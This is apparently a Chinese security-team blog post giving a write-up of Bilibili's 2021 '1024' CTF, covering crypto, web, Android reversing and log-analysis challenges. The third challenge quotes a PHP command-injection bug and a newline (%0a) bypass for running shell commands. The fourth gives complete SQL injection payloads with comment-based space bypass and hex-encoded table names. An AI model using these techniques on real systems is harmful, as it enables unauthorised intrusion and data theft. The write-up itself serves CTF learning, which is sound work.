Bilibili2021「1024」CTF Write Up


0#简介
又是一年1024程序员节,在这里也祝各位师傅们节日快乐!
还记得上次的B站挑战赛吗?传送门:https://blog.aabyss.cn/post-98.html
B站也推出了“一起开启大冒险”的主题活动,同时,也推出了哔哩哔哩1024CTF的挑战页面,大家一起来挑战吧!
活动地址:https://www.bilibili.com/blackboard/20211024.html
1024CTF地址:https://security.bilibili.com/sec1024/
活动分为算法与安全答题和安全攻防挑战赛,今天我们就来说说安全攻防挑战赛

1#第一题 这里记录了前往二次元世界的秘密

将两行字符,拼成一行,然后进行AES解密即可。
工具网站地址:http://tool.chacuo.net/cryptaes
注意,要将
题目里给的密码填入key中才能解密。

2#第二题 某高级前端开发攻城狮更改了一个前端配置项


直接F12用开发者工具
打开webpack下的src,找到view里面home.vue,Flag就藏在注释里面

3#第三题 PHP is the best language for web programming, but what about other languages?

题目给了一个压缩包,下载后解压,发现一个名为eval.php的文件
<?php
    /* 
        bilibili- ( ゜- ゜)つロ 乾杯~
        uat: http://192.168.3.2/uat/eval.php
        pro: http://security.bilibili.com/sec1024/q/pro/eval.php
    */
    $args = @$_GET['args'];
    if (count($args) >3) {
        exit();
    }
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) ) {
            exit();
        }
    }
    // todo: other filter
    $cmd = "/bin/2233 " . implode(" ", $args);
    exec($cmd, $out);
    for ($i=0; $i<count($out); $i++){
        echo($out[$i]);
        echo('<br>');
    }
?>
可以看到里面写了正则"/^\w+$/",这个可以用结尾接换行符%0a匹配,接着就可以换行用linux命令了!
那我们就来试试,先用查看当前目录命令ls

好家伙,看到一个名为"passwd"的文件,那我们还不去看看?

4#第四题  懂的都懂

打开地址后一看,这不是和第二题那个系统一样的吗?
随便翻翻找找,也没啥头绪,脑阔痛。。。
过了好半伙儿,终于有点头绪了
点击“日志信息”这个按钮,并用F12开发者工具抓一下,可以发现提交了一个list,API接口也发现了

日志API地址: https://security.bilibili.com/sec1024/q/admin/api/v1/log/list
尝试了几下,好像有空格过滤,尝试绕过进行POST传参
{
    "user_id": "",
    "user_name": "1/**/union/**/select/**/database(),user(),3,4,5",
    "action": "",
    "page": 1,
    "size": 20
}
咦?可以啊!
那我们就试试看能不能获取表名
1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
执行成功后,就可以看到有三张表flag,log,user
接下来就去获取flag表的字段,由于不能使用引号(不然就闭合造成无效结果),所以我们就用十六进制绕过,flag的十六进制为666c6167
1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#
可以看到只剩下id字段,flag直接到手
1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#
注:以上语句,都要按照POST传参的方式,替换"user_name"放入才有效,真可谓是“懂得都懂”啊

如此即可,传参后抓包即可拿到flag
5#第五题 安卓程序员小明学习了新的开发语言,兴奋地写了一个demo app

下载了一个test.apk,那应该就是让我们对其进行逆向分析
直接上手工具JADX:https://github.com/skylot/jadx/releases/tag/v1.2.0

了解的师傅应该都知道,Encrypt是加密过程,MainActivity里的两串字符,拿去按Encrypt里的反向操作一次即可。即:一次base64解码,一次异或3,两串可合成一串flag
// var b = new String(Encrypt.a(Encrypt.b(obj2), 3));
// var b2 = new String(Encrypt.a(Encrypt.b(obj), 3));
516834cc-50e448af
bcf9ed53-9ae4328e
这里再附上一个第五题的脚本
import base64
 
obyteArray = [0x59, 0x57, 0x42, 0x6c, 0x4f, 0x6d, 0x5a, 0x6e, 0x4e, 0x6a, 0x41, 0x75, 0x4f, 0x6d, 0x4a, 0x6d, 0x4e,
              0x7a,
              0x41, 0x78, 0x4f, 0x32, 0x59, 0x3d]
 
code = [0x4e, 0x6a, 0x49, 0x31, 0x4f, 0x7a, 0x41, 0x33, 0x59, 0x47, 0x41, 0x75, 0x4e, 0x6a, 0x4e, 0x6d, 0x4e, 0x7a,
        0x63, 0x37, 0x59, 0x6d, 0x55, 0x3d]

user = ""
 
password = ""
 
for i in range(24):
    user+=chr(obyteArray[i])
    password+=chr(code[i])
 
print(base64.b64decode(user))
print(base64.b64decode(password))
 
a1 = str(base64.b64decode(user),encoding="utf-8")
a2 = str(base64.b64decode(password),encoding="utf-8")
 
ans=""
ans1=""
for i1 in range(17):
    p=ord(a1[i1])^3
    ans+=chr(p)
    p1=ord(a2[i1])^3
    ans1+=chr(p1)
 
print(ans)
print(ans1)

6#第六题  安卓程序员小明学习了新的开发语言,兴奋地写了一个demo app
解题线索貌似在lib-so里面,但是只能输出2333,正在努力解决
感兴趣的可以看看吾爱破解论坛:https://www.52pojie.cn/thread-1532604-1-1.html
有大神贴出了解题步骤:
a = 'bili_2233_3322'
b = 'bili_3322_2233'
amd5 = hashlib.md5(a.encode()).digest()
bmd5 = hashlib.md5(b.encode()).digest()
for i in range(len(amd5)):
    print(hex(amd5[i])[2:].zfill(2), end='')
    print(hex(bmd5[i])[2:].zfill(2), end='')

7#第七题 风控

要下载一个日志,主要考察日志分析
野生的答案(大部分ip 10分 ,满分是20)
jj.bdc.bbb.cc,dc.bb.ii.jj,cde.ced.bbb.dd,cdd.bcc.bg.bib,cd.bb.cai.cbh,cd.baf.cae.cbc,bfh.ff.dj.jf,bfh.ff.dj.ig,bfh.ff.dj.fb,bfh.ff.dj.bd,bfh.ff.dj.bcf,bbb.bb.bjd.bhf,bbb.bb.bjd.bhc,bbb.bb.bjd.bha,bbb.bb.bjd.bgc,bba.ja.ccb.cbc,bba.ja.cca.beg
本博客所有文章如无特别注明均为原创。作者:渊龙Sec团队复制或转载请以超链接形式注明转自 渊龙Sec安全团队博客
原文地址《Bilibili2021「1024」CTF Write Up
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)